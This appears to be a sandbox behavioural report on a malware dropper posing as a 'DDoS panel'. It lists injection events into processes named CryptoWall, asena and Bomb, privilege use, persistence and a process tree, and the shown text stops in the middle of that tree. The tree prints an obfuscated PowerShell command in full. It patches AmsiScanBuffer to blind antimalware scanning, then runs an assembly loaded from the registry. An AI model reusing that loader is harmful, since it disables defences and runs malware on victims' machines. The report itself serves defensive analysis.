5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1960	wmic.exe
Token: SeSecurityPrivilege	1960	wmic.exe
Token: SeTakeOwnershipPrivilege	1960	wmic.exe
Token: SeLoadDriverPrivilege	1960	wmic.exe
Token: SeSystemProfilePrivilege	1960	wmic.exe
Token: SeSystemtimePrivilege	1960	wmic.exe
Token: SeProfSingleProcessPrivilege	1960	wmic.exe
Token: SeIncBasePriorityPrivilege	1960	wmic.exe
Token: SeCreatePagefilePrivilege	1960	wmic.exe
Token: SeBackupPrivilege	1960	wmic.exe
Token: SeRestorePrivilege	1960	wmic.exe
Token: SeShutdownPrivilege	1960	wmic.exe
Token: SeDebugPrivilege	1960	wmic.exe
Token: SeSystemEnvironmentPrivilege	1960	wmic.exe
Token: SeRemoteShutdownPrivilege	1960	wmic.exe
Token: SeUndockPrivilege	1960	wmic.exe
Token: SeManageVolumePrivilege	1960	wmic.exe
Token: 33	1960	wmic.exe
Token: 34	1960	wmic.exe
Token: 35	1960	wmic.exe
Token: 36	1960	wmic.exe
Token: SeDebugPrivilege	2416	4363463463464363463463463.exe
Token: SeBackupPrivilege	4872	vssvc.exe
Token: SeRestorePrivilege	4872	vssvc.exe
Token: SeAuditPrivilege	4872	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1960	wmic.exe
Token: SeSecurityPrivilege	1960	wmic.exe
Token: SeTakeOwnershipPrivilege	1960	wmic.exe
Token: SeLoadDriverPrivilege	1960	wmic.exe
Token: SeSystemProfilePrivilege	1960	wmic.exe
Token: SeSystemtimePrivilege	1960	wmic.exe
Token: SeProfSingleProcessPrivilege	1960	wmic.exe
Token: SeIncBasePriorityPrivilege	1960	wmic.exe
Token: SeCreatePagefilePrivilege	1960	wmic.exe
Token: SeBackupPrivilege	1960	wmic.exe
Token: SeRestorePrivilege	1960	wmic.exe
Token: SeShutdownPrivilege	1960	wmic.exe
Token: SeDebugPrivilege	1960	wmic.exe
Token: SeSystemEnvironmentPrivilege	1960	wmic.exe
Token: SeRemoteShutdownPrivilege	1960	wmic.exe
Token: SeUndockPrivilege	1960	wmic.exe
Token: SeManageVolumePrivilege	1960	wmic.exe
Token: 33	1960	wmic.exe
Token: 34	1960	wmic.exe
Token: 35	1960	wmic.exe
Token: 36	1960	wmic.exe
Token: SeDebugPrivilege	776	25.exe
Token: SeDebugPrivilege	1164	24.exe
Token: SeDebugPrivilege	1912	23.exe
Token: SeDebugPrivilege	3160	18.exe
Token: SeDebugPrivilege	4560	19.exe
Token: SeDebugPrivilege	4248	16.exe
Token: SeDebugPrivilege	4496	22.exe
Token: SeDebugPrivilege	2536	20.exe
Token: SeDebugPrivilege	236	21.exe
Token: SeDebugPrivilege	3716	17.exe
Token: SeDebugPrivilege	3240	15.exe
Token: SeDebugPrivilege	4080	14.exe
Token: SeDebugPrivilege	3932	13.exe
Token: SeDebugPrivilege	3584	12.exe
Token: SeDebugPrivilege	1536	11.exe
Token: SeDebugPrivilege	5132	7.exe
Token: SeDebugPrivilege	2960	8.exe
Token: SeDebugPrivilege	5328	6.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe

Suspicious use of SendNotifyMessage 58 IoCs

pid	Process
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
996	java.exe
2560	java.exe
2784	java.exe
6860	java.exe
6688	java.exe
4808	java.exe
5948	java.exe
5460	java.exe
128	java.exe
6824	java.exe
3500	java.exe
5280	java.exe
2292	java.exe
3020	java.exe
1008	java.exe
3752	java.exe
1516	java.exe
7076	java.exe
6360	java.exe
8760	java.exe
4504	java.exe
7964	java.exe
8004	java.exe
2308	java.exe
8856	java.exe
3592	java.exe
7620	java.exe
8924	java.exe

Suspicious use of SetWindowsHookEx 26 IoCs

pid	Process
4508	runtime.exe
5780	Hokej.exe
3364	setup-qtox-x86_64-release.exe
6324	OpenWith.exe
2168	jusched.exe
4364	GameBar.exe
3776	iexplore.exe
648	MSWinpreference.exe
3552	file.exe
3552	file.exe
996	java.exe
6860	java.exe
6824	java.exe
5280	java.exe
3752	java.exe
9144	LauncherLoader.exe
7400	CPDB.exe
3592	java.exe
7588	Windows Defender SmartScreen (32 bit).exe
5336	RuntimeBroker.exe
7252	Client.exe
7620	java.exe
3384	Explorer.EXE
7248	NewkeyLauncher.exe
3384	Explorer.EXE
7248	NewkeyLauncher.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 2416	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	82
PID 3820 wrote to memory of 2416	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	82
PID 3820 wrote to memory of 2416	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	82
PID 3820 wrote to memory of 2744	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	84
PID 3820 wrote to memory of 2744	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	84
PID 3820 wrote to memory of 2744	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	84
PID 3820 wrote to memory of 1204	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	85
PID 3820 wrote to memory of 1204	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	85
PID 3820 wrote to memory of 1204	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	85
PID 1204 wrote to memory of 1960	1204	asena.exe	86
PID 1204 wrote to memory of 1960	1204	asena.exe	86
PID 1204 wrote to memory of 4616	1204	asena.exe	87
PID 1204 wrote to memory of 4616	1204	asena.exe	87
PID 3820 wrote to memory of 1216	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	89
PID 3820 wrote to memory of 1216	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	89
PID 3820 wrote to memory of 2272	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	91
PID 3820 wrote to memory of 2272	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	91
PID 3820 wrote to memory of 2272	3820	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe	91
PID 2272 wrote to memory of 2060	2272	CryptoWall.exe	93
PID 2272 wrote to memory of 2060	2272	CryptoWall.exe	93
PID 2272 wrote to memory of 2060	2272	CryptoWall.exe	93
PID 2060 wrote to memory of 4484	2060	explorer.exe	97
PID 2060 wrote to memory of 4484	2060	explorer.exe	97
PID 2060 wrote to memory of 4484	2060	explorer.exe	97
PID 1216 wrote to memory of 776	1216	Bomb.exe	98
PID 1216 wrote to memory of 776	1216	Bomb.exe	98
PID 1216 wrote to memory of 1164	1216	Bomb.exe	99
PID 1216 wrote to memory of 1164	1216	Bomb.exe	99
PID 1216 wrote to memory of 1912	1216	Bomb.exe	100
PID 1216 wrote to memory of 1912	1216	Bomb.exe	100
PID 1216 wrote to memory of 4496	1216	Bomb.exe	101
PID 1216 wrote to memory of 4496	1216	Bomb.exe	101
PID 1216 wrote to memory of 236	1216	Bomb.exe	102
PID 1216 wrote to memory of 236	1216	Bomb.exe	102
PID 1216 wrote to memory of 2536	1216	Bomb.exe	103
PID 1216 wrote to memory of 2536	1216	Bomb.exe	103
PID 1216 wrote to memory of 4560	1216	Bomb.exe	104
PID 1216 wrote to memory of 4560	1216	Bomb.exe	104
PID 1216 wrote to memory of 3160	1216	Bomb.exe	105
PID 1216 wrote to memory of 3160	1216	Bomb.exe	105
PID 1216 wrote to memory of 3716	1216	Bomb.exe	106
PID 1216 wrote to memory of 3716	1216	Bomb.exe	106
PID 1216 wrote to memory of 4248	1216	Bomb.exe	107
PID 1216 wrote to memory of 4248	1216	Bomb.exe	107
PID 1216 wrote to memory of 3240	1216	Bomb.exe	108
PID 1216 wrote to memory of 3240	1216	Bomb.exe	108
PID 1216 wrote to memory of 4080	1216	Bomb.exe	109
PID 1216 wrote to memory of 4080	1216	Bomb.exe	109
PID 1216 wrote to memory of 3932	1216	Bomb.exe	110
PID 1216 wrote to memory of 3932	1216	Bomb.exe	110
PID 1216 wrote to memory of 3584	1216	Bomb.exe	111
PID 1216 wrote to memory of 3584	1216	Bomb.exe	111
PID 1216 wrote to memory of 1536	1216	Bomb.exe	112
PID 1216 wrote to memory of 1536	1216	Bomb.exe	112
PID 1216 wrote to memory of 3920	1216	Bomb.exe	113
PID 1216 wrote to memory of 3920	1216	Bomb.exe	113
PID 1216 wrote to memory of 3180	1216	Bomb.exe	114
PID 1216 wrote to memory of 3180	1216	Bomb.exe	114
PID 1216 wrote to memory of 2960	1216	Bomb.exe	115
PID 1216 wrote to memory of 2960	1216	Bomb.exe	115
PID 1216 wrote to memory of 5132	1216	Bomb.exe	116
PID 1216 wrote to memory of 5132	1216	Bomb.exe	116
PID 1216 wrote to memory of 5328	1216	Bomb.exe	117
PID 1216 wrote to memory of 5328	1216	Bomb.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

Hidden Files and Directories

T1564.001

pid	Process
8304	attrib.exe
8336	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:416
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{75518124-ca04-4181-bcf0-6fccdba19af9}
  2⤵
  PID:7136

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1056
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:1952
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:5860
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:5036
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:6684
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:2388
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:1512
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:5736
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:556
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:5688
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:6172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aiWZJdTZyzKj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GEDyKQgGBCRjvx,[Parameter(Position=1)][Type]$cZYNRIeJrA)$jAjHbzcZCfF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+''+'e'+'c'+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+'le'+[Char](100)+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+',A'+'u'+'to'+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$jAjHbzcZCfF.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+'alN'+'a'+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+[Char](44)+'Pu'+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$GEDyKQgGBCRjvx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');$jAjHbzcZCfF.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+',H'+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'',$cZYNRIeJrA,$GEDyKQgGBCRjvx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+','+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $jAjHbzcZCfF.CreateType();}$EHZfWUghonlaY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+'so'+'f'+''+'t'+''+'.'+'W'+'i'+'n'+'3'+''+'2'+''+[Char](46)+''+'U'+'n'+[Char](115)+''+'a'+'f'+[Char](101)+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+'Me'+'t'+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$wbapsIGYHAjBvp=$EHZfWUghonlaY.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+'cA'+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZxZlWlMlsiLtHmAsEfI=aiWZJdTZyzKj @([String])([IntPtr]);$vMLPnOsSVdAGByeOtoJNSs=aiWZJdTZyzKj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VRtLBfjxgyl=$EHZfWUghonlaY.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+'u'+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$SqsnUZNMAgSUSq=$wbapsIGYHAjBvp.Invoke($Null,@([Object]$VRtLBfjxgyl,[Object](''+[Char](76)+''+'o'+'a'+'d'+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$qyviArNXsPLQZdfUb=$wbapsIGYHAjBvp.Invoke($Null,@([Object]$VRtLBfjxgyl,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$XkVksbj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SqsnUZNMAgSUSq,$ZxZlWlMlsiLtHmAsEfI).Invoke(''+[Char](97)+''+'m'+'si'+'.'+''+[Char](100)+'l'+'l'+'');$qAmobxOUpYVgCcJVX=$wbapsIGYHAjBvp.Invoke($Null,@([Object]$XkVksbj,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+'f'+'e'+'r'+'')));$SGdfMLCxYr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qyviArNXsPLQZdfUb,$vMLPnOsSVdAGByeOtoJNSs).Invoke($qAmobxOUpYVgCcJVX,[uint32]8,4,[ref]$SGdfMLCxYr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qAmobxOUpYVgCcJVX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qyviArNXsPLQZdfUb,$vMLPnOsSVdAGByeOtoJNSs).Invoke($qAmobxOUpYVgCcJVX,[uint32]8,0x20,[ref]$SGdfMLCxYr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:4316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:8632
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:5644
- C:\Users\Admin\AppData\Roaming\$77Security.exe
  C:\Users\Admin\AppData\Roaming\$77Security.exe
  2⤵
  PID:1196
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:8812
- C:\Users\Admin\AppData\Roaming\$77Security.exe
  C:\Users\Admin\AppData\Roaming\$77Security.exe
  2⤵
  PID:9664
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  2⤵
  PID:8196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1292
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x00000000000004C8 0x00000000000004D0
  2⤵
  PID:5912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1236

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1792

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2596

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3032

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3096

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetWindowsHookEx
PID:3384
- C:\Users\Admin\AppData\Local\Temp\Ultra Mega Null DDoS Panel (added API Function in v2.39).exe
  "C:\Users\Admin\AppData\Local\Temp\Ultra Mega Null DDoS Panel (added API Function in v2.39).exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4432
  - - C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20AH.NET.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20AH.NET.exe"
      4⤵
      Executes dropped EXE
      PID:6720
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 1148
        5⤵
        Program crash
        
        PID:2860
  - - C:\Users\Admin\AppData\Local\Temp\Files\crack.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\crack.exe"
      4⤵
      Executes dropped EXE
      PID:4088
  - - C:\Users\Admin\AppData\Local\Temp\Files\test.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4004
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
        5⤵
        
        PID:7024
      - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:3328
  - - C:\Users\Admin\AppData\Local\Temp\Files\handeltest.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\handeltest.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5200
  - - C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\Files\GoodFrag.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\GoodFrag.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1660
    - - C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:5304
      - C:\Windows\SysWOW64\netsh.exe
        
